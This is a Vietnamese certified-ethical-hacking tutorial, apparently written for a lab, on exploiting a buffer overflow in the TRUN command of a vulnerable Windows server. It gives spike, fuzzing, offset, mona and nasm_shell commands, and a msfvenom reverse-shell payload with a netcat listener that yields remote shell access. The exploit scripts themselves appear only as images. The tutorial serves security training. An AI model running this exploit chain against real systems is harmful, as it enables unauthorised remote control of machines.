Khai thác lỗ hổng tràn bộ đệm Buffer Overflow trên Windows
- Spiking: Đưa vào chương trình một số input để kiểm tra xem chương trình có bị tắt hoặc hoạt động không đúng như mong đợi không. Mục đích là tìm ra các lỗ hổng tiềm năng.
- Fuzzing: Đưa vào chương trình các input ngẫu nhiên hoặc bán ngẫu nhiên để xác định input nào gây ra lỗi hoặc làm chương trình hoạt động không đúng. Mục đích là tìm ra input cụ thể để khai thác lỗ hổng tràn bộ đệm.
- Xác định offset: Tìm ra số byte cần để ghi đè lên biến mục tiêu. Điều này bao gồm gửi một chuỗi ký tự đặc biệt đến chương trình để tìm ra chiều dài chuỗi ký tự gây ra lỗi, từ đó xác định được số byte cần để tràn bộ đệm.
- Ghi đè thanh ghi EIP: Thay đổi giá trị của thanh ghi EIP để chương trình thực thi mã độc.
- Xác định ký tự không hợp lệ: Tìm ra các ký tự có thể làm gián đoạn quá trình thực thi mã độc.
- Xác định module: Đảm bảo module đúng được tải vào bộ nhớ để mã độc thực thi đúng.
- Tạo shellcode: Tạo ra mã độc thực tế sẽ được thực thi sau khi khai thác thành công.
- Gain root access: Sử dụng mã độc để truy cập từ xa vào hệ thống hoặc nâng cao đặc quyền truy cập để đạt được quyền truy cập cao hơn.
Bước 1: Thiết lập kết nối bằng Netcat
, ta có thể sử dụng lệnh Netcat như sau:
nc -nv <Target IP> <Target Port>![[CEH] Module 6 - Phần 4: Khai thác Buffer Overflow trên Windows 2 [CEH] Module 6 - Phần 4: Khai thác Buffer Overflow trên Windows 1](https://sinhviencntt.net/wp-content/uploads/2023/05/image-32.png)
Bước 2: Tạo các spike template và thực hiện spiking
Các mẫu spike templates định nghĩa định dạng gói tin được sử dụng để giao tiếp với server. Sử dụng mẫu spike sau để thực hiện spiking trên chức năng STATS:
![[CEH] Module 6 - Phần 4: Khai thác Buffer Overflow trên Windows 3 Buffer Overflow trên Windows](https://sinhviencntt.net/wp-content/uploads/2023/05/image-30.png)
Gửi các gói tin đến máy đích bằng cách sử dụng lệnh sau:
generic_send_tcp <Target IP> <Target Port> spike_script SKIPVAR SKIPSTRNhư hình bên dưới:
![[CEH] Module 6 - Phần 4: Khai thác Buffer Overflow trên Windows 5 [CEH] Module 6 - Phần 4: Khai thác Buffer Overflow trên Windows 4](https://sinhviencntt.net/wp-content/uploads/2023/05/image-33.png)
Vì chúng ta đã xác định được rằng chức năng STATS không dễ bị tấn công bởi lỗi tràn bộ đệm, vì vậy chúng ta sẽ lặp lại quá trình tương tự với chức năng TRUN. Sử dụng mẫu spike sau để thực hiện spiking trên chức năng TRUN:
![[CEH] Module 6 - Phần 4: Khai thác Buffer Overflow trên Windows 7 [CEH] Module 6 - Phần 4: Khai thác Buffer Overflow trên Windows 6](https://sinhviencntt.net/wp-content/uploads/2023/05/image-34.png)
Bây giờ, gửi các gói tin đến máy đích bằng cách sử dụng lệnh sau:
generic_send_tcp <Target IP> <Target Port> spike_script SKIPVAR SKIPSTR![[CEH] Module 6 - Phần 4: Khai thác Buffer Overflow trên Windows 9 [CEH] Module 6 - Phần 4: Khai thác Buffer Overflow trên Windows 8](https://sinhviencntt.net/wp-content/uploads/2023/05/image-35.png)
Chúng ta có thể thấy rằng chức năng TRUN trên server có một lỗ hổng tràn bộ đệm. Khi thực hiện spiking trên chức năng này, các thanh ghi trên ngăn xếp như EAX, ESP, EBP và EIP có thể bị ghi đè. Nếu hacker có thể ghi đè thanh ghi EIP, họ có thể chiếm quyền truy cập vào hệ thống.
![[CEH] Module 6 - Phần 4: Khai thác Buffer Overflow trên Windows 11 [CEH] Module 6 - Phần 4: Khai thác Buffer Overflow trên Windows 10](https://sinhviencntt.net/wp-content/uploads/2023/05/image-36-1024x718.png)
Bước 3: Perform Fuzzing
Sau khi xác định được lỗ hổng tràn bộ đệm buffer overflow trên Windows, ta cần thực hiện fuzzing để gửi một lượng lớn dữ liệu đến máy đích để gây ra lỗi tràn bộ đệm và ghi đè thanh ghi EIP. Fuzzing giúp xác định số byte cần thiết để làm cho máy đích bị sập. Thông tin này giúp xác định vị trí chính xác của thanh ghi EIP, từ đó giúp inject mã độc shellcode vào máy đích.
![[CEH] Module 6 - Phần 4: Khai thác Buffer Overflow trên Windows 13 [CEH] Module 6 - Phần 4: Khai thác Buffer Overflow trên Windows 12](https://sinhviencntt.net/wp-content/uploads/2023/05/image-37.png)
Khi chạy đoạn code trên, biến buff sẽ được nhân lên mỗi lần lặp trong vòng lặp while và gửi dữ liệu buff đến máy đích. Như hình bên dưới, máy đích sập sau khi nhận khoảng 2300 bytes dữ liệu, nhưng nó không ghi đè lên thanh ghi EIP.
![[CEH] Module 6 - Phần 4: Khai thác Buffer Overflow trên Windows 15 [CEH] Module 6 - Phần 4: Khai thác Buffer Overflow trên Windows 14](https://sinhviencntt.net/wp-content/uploads/2023/05/image-38.png)
![[CEH] Module 6 - Phần 4: Khai thác Buffer Overflow trên Windows 17 [CEH] Module 6 - Phần 4: Khai thác Buffer Overflow trên Windows 16](https://sinhviencntt.net/wp-content/uploads/2023/05/image-39.png)
Bước 4: Identify the Offset
Thông qua quá trình fuzzing, chúng ta đã hiểu được rằng chúng ta có thể ghi đè lên thanh ghi EIP bằng từ 1 đến 2300 byte dữ liệu. Bây giờ, chúng ta sẽ sử dụng công cụ pattern_create trong Ruby để tạo ra các byte dữ liệu ngẫu nhiên như sau:
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -1 3000![[CEH] Module 6 - Phần 4: Khai thác Buffer Overflow trên Windows 19 [CEH] Module 6 - Phần 4: Khai thác Buffer Overflow trên Windows 18](https://sinhviencntt.net/wp-content/uploads/2023/05/image-40.png)
Sau đó, ta chạy đoạn mã Python sau để gửi:
![[CEH] Module 6 - Phần 4: Khai thác Buffer Overflow trên Windows 21 [CEH] Module 6 - Phần 4: Khai thác Buffer Overflow trên Windows 20](https://sinhviencntt.net/wp-content/uploads/2023/05/image-41.png)
Khi đoạn code trên được thực thi, các byte dữ liệu ngẫu nhiên sẽ được gửi đến máy đích và gây ra lỗi tràn bộ đệm trên ngăn xếp. Ta cần ghi lại các byte dữ liệu ngẫu nhiên trong EIP và tìm vị trí của các byte đó trên ngăn xếp để tiếp tục thực hiện các bước tấn công tiếp theo.
![[CEH] Module 6 - Phần 4: Khai thác Buffer Overflow trên Windows 23 [CEH] Module 6 - Phần 4: Khai thác Buffer Overflow trên Windows 22](https://sinhviencntt.net/wp-content/uploads/2023/05/image-42.png)
Chạy lệnh sau để tìm vị trí chính xác của các byte dữ liệu ngẫu nhiên trong thanh ghi EIP:
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -1 3000 -q 386F4337![[CEH] Module 6 - Phần 4: Khai thác Buffer Overflow trên Windows 25 [CEH] Module 6 - Phần 4: Khai thác Buffer Overflow trên Windows 24](https://sinhviencntt.net/wp-content/uploads/2023/05/image-43.png)
Bước 5: Ghi đè thanh ghi EIP
Ta đã xác định được rằng thanh ghi EIP nằm ở một vị trí lệch đi 2003 byte. Bây giờ, chạy đoạn code Python sau để kiểm tra xem có thể kiểm soát thanh ghi EIP hay không.
![[CEH] Module 6 - Phần 4: Khai thác Buffer Overflow trên Windows 27 [CEH] Module 6 - Phần 4: Khai thác Buffer Overflow trên Windows 26](https://sinhviencntt.net/wp-content/uploads/2023/05/image-44.png)
Kết quả cho thấy EIP có thể ghi đè:
![[CEH] Module 6 - Phần 4: Khai thác Buffer Overflow trên Windows 29 [CEH] Module 6 - Phần 4: Khai thác Buffer Overflow trên Windows 28](https://sinhviencntt.net/wp-content/uploads/2023/05/image-45.png)
Bước 6: Identify Bad Character
Trước khi inject shellcode vào thanh ghi EIP, ta cần xác định các ký tự không hợp lệ có thể gây ra vấn đề trong shellcode. Các ký tự như ký tự ‘no byte‘, tức là “\x00“, là các ký tự không hợp lệ.
![[CEH] Module 6 - Phần 4: Khai thác Buffer Overflow trên Windows 31 [CEH] Module 6 - Phần 4: Khai thác Buffer Overflow trên Windows 30](https://sinhviencntt.net/wp-content/uploads/2023/05/image-46-1024x515.png)
Tiếp theo, chạy đoạn code:
![[CEH] Module 6 - Phần 4: Khai thác Buffer Overflow trên Windows 33 [CEH] Module 6 - Phần 4: Khai thác Buffer Overflow trên Windows 32](https://sinhviencntt.net/wp-content/uploads/2023/05/image-47.png)
Trong Immunity Debugger, nhấp chuột phải vào giá trị thanh ghi ESP, sau đó nhấp vào “Follow in Dump“, và cuối cùng quan sát các ký tự. Ta sẽ thấy rằng không có ký tự không hợp lệ nào gây ra vấn đề trong shellcode.
![[CEH] Module 6 - Phần 4: Khai thác Buffer Overflow trên Windows 35 [CEH] Module 6 - Phần 4: Khai thác Buffer Overflow trên Windows 34](https://sinhviencntt.net/wp-content/uploads/2023/05/image-48.png)
Bước 7: Identify the Right Module
Trong bước này, chúng ta cần xác định module nào trên máy đích đang thiếu memory protection. Ta có thể sử dụng một công cụ gọi là mona.py. Ta download về và sao chép vào thư mục PyCommands trong thư mục của Immunity Debugger. Sau đó, ta chạy máy có lỗ hổng và Immunity Debugger với quyền quản trị, và kết nối máy đó với Immunity Debugger. Tiếp theo, trong Immunity Debugger,nhập lệnh “!mona modules” vào thanh địa chỉ dưới cùng của cửa sổ.
![[CEH] Module 6 - Phần 4: Khai thác Buffer Overflow trên Windows 37 [CEH] Module 6 - Phần 4: Khai thác Buffer Overflow trên Windows 36](https://sinhviencntt.net/wp-content/uploads/2023/05/image-62.png)
Chúng ta thấy rằng module essfunc.dll thiếu bảo vệ bộ nhớ. Hacker có thể lợi dụng những module như vậy để chèn shellcode và chiếm quyền điều khiển thanh ghi EIP. Để tiếp tục tấn công, ta cần chuyển đổi ngôn ngữ assembly (JMP ESP) thành mã hex bằng cách chạy một đoạn mã Ruby nasm_shell.
/usr/share/metasploit-framework/tools/exploit/nasm_shell.rbKết quả như sau:
![[CEH] Module 6 - Phần 4: Khai thác Buffer Overflow trên Windows 39 [CEH] Module 6 - Phần 4: Khai thác Buffer Overflow trên Windows 38](https://sinhviencntt.net/wp-content/uploads/2023/05/image-63.png)
Tiếp theo, trong Immunity Debugger, nhập lệnh sau vào thanh địa chỉ ở dưới cùng để xác định địa chỉ trả về của module có lỗ hổng:
!mona find -s "\xff\xe4" -m essfunc.dll![[CEH] Module 6 - Phần 4: Khai thác Buffer Overflow trên Windows 41 [CEH] Module 6 - Phần 4: Khai thác Buffer Overflow trên Windows 40](https://sinhviencntt.net/wp-content/uploads/2023/05/image-64.png)
Bây giờ, để inject địa chỉ trả về đã xác định vào thanh ghi EIP, ta cần chạy đoạn mã sau. Ví dụ, nếu địa chỉ trả về là “625011af“, thì bạn phải gửi “\xaf \x11\x50\x62“, vì kiến trúc x86 lưu trữ các giá trị theo định dạng Little Endian.
![[CEH] Module 6 - Phần 4: Khai thác Buffer Overflow trên Windows 43 [CEH] Module 6 - Phần 4: Khai thác Buffer Overflow trên Windows 42](https://sinhviencntt.net/wp-content/uploads/2023/05/image-65.png)
Ta sẽ nhận thấy rằng thanh ghi EIP đã bị ghi đè bằng địa chỉ trả về của module có lỗ hổng:
![[CEH] Module 6 - Phần 4: Khai thác Buffer Overflow trên Windows 45 [CEH] Module 6 - Phần 4: Khai thác Buffer Overflow trên Windows 44](https://sinhviencntt.net/wp-content/uploads/2023/05/image-66.png)
Hacker có thể kiểm soát thanh ghi EIP nếu máy mục tiêu có các module không có các thiết lập bảo vệ bộ nhớ thích hợp.
Bước 8: Generate Shellcode and Gain Shell Access
Bây giờ, ta chạy lệnh msfvenom để tạo shellcode:
msfvenom -p windows/shell_reverse_tcp LHOST=<IP address> LPORT=<port> EXITFUNC=thread -f c -a x86 -b "\x00"Kết quả như sau:
![[CEH] Module 6 - Phần 4: Khai thác Buffer Overflow trên Windows 47 [CEH] Module 6 - Phần 4: Khai thác Buffer Overflow trên Windows 46](https://sinhviencntt.net/wp-content/uploads/2023/05/image-67.png)
Bây giờ, chúng ta cần chạy đoạn mã Python sau:
![[CEH] Module 6 - Phần 4: Khai thác Buffer Overflow trên Windows 49 [CEH] Module 6 - Phần 4: Khai thác Buffer Overflow trên Windows 48](https://sinhviencntt.net/wp-content/uploads/2023/05/image-68.png)
Trước khi chạy đoạn code trên, ta cần chạy lệnh Netcat sau để listen trên port 4444:
nc -nvlp 4444Sau đó:
![[CEH] Module 6 - Phần 4: Khai thác Buffer Overflow trên Windows 51 [CEH] Module 6 - Phần 4: Khai thác Buffer Overflow trên Windows 50](https://sinhviencntt.net/wp-content/uploads/2023/05/image-69.png)
Vậy là ta đã khai thác buffer overflow trên Windows.

![[CEH] Module 11 - Phần 1: Session Hijacking là gì? 53 [CEH] Module 11 – Phần 1: Session Hijacking là gì?](https://sinhviencntt.net/wp-content/uploads/2023/07/m11-p1-350x250.png)
![[CEH] Module 10 - Phần 5: Thực hành DoS sử dụng Metasploit và Hping3 54 [CEH] Module 10 – Phần 5: Thực hành DoS sử dụng Metasploit và Hping3](https://sinhviencntt.net/wp-content/uploads/2025/04/m10-p5-350x250.png)
![[CEH] Module 10 - Phần 4: Các giải pháp chống lại DDoS 55 [CEH] Module 10 – Phần 4: Các giải pháp chống lại DDoS](https://sinhviencntt.net/wp-content/uploads/2025/01/m10-p4-350x250.png)
![[CEH] Module 10 - Phần 3: Một số kiểu tấn công từ chối dịch vụ (tiếp theo) 56 [CEH] Module 10 – Phần 3: Một số kiểu tấn công từ chối dịch vụ (tiếp theo)](https://sinhviencntt.net/wp-content/uploads/2025/01/m10-p2-350x250.png)
![[CEH] Module 10 – Phần 2: Một số kiểu tấn công từ chối dịch vụ DoS/DDoS 57 [CEH] Module 10 – Phần 2: Một số kiểu tấn công từ chối dịch vụ DoS/DDoS](https://sinhviencntt.net/wp-content/uploads/2024/09/m10-p2-350x250.png)
![[CEH] Module 6 - Phần 5: Leo thang đặc quyền 58 [CEH] Module 6 – Phần 5: Leo thang đặc quyền](https://sinhviencntt.net/wp-content/uploads/2023/06/m6-p5-75x75.png)
Comments 1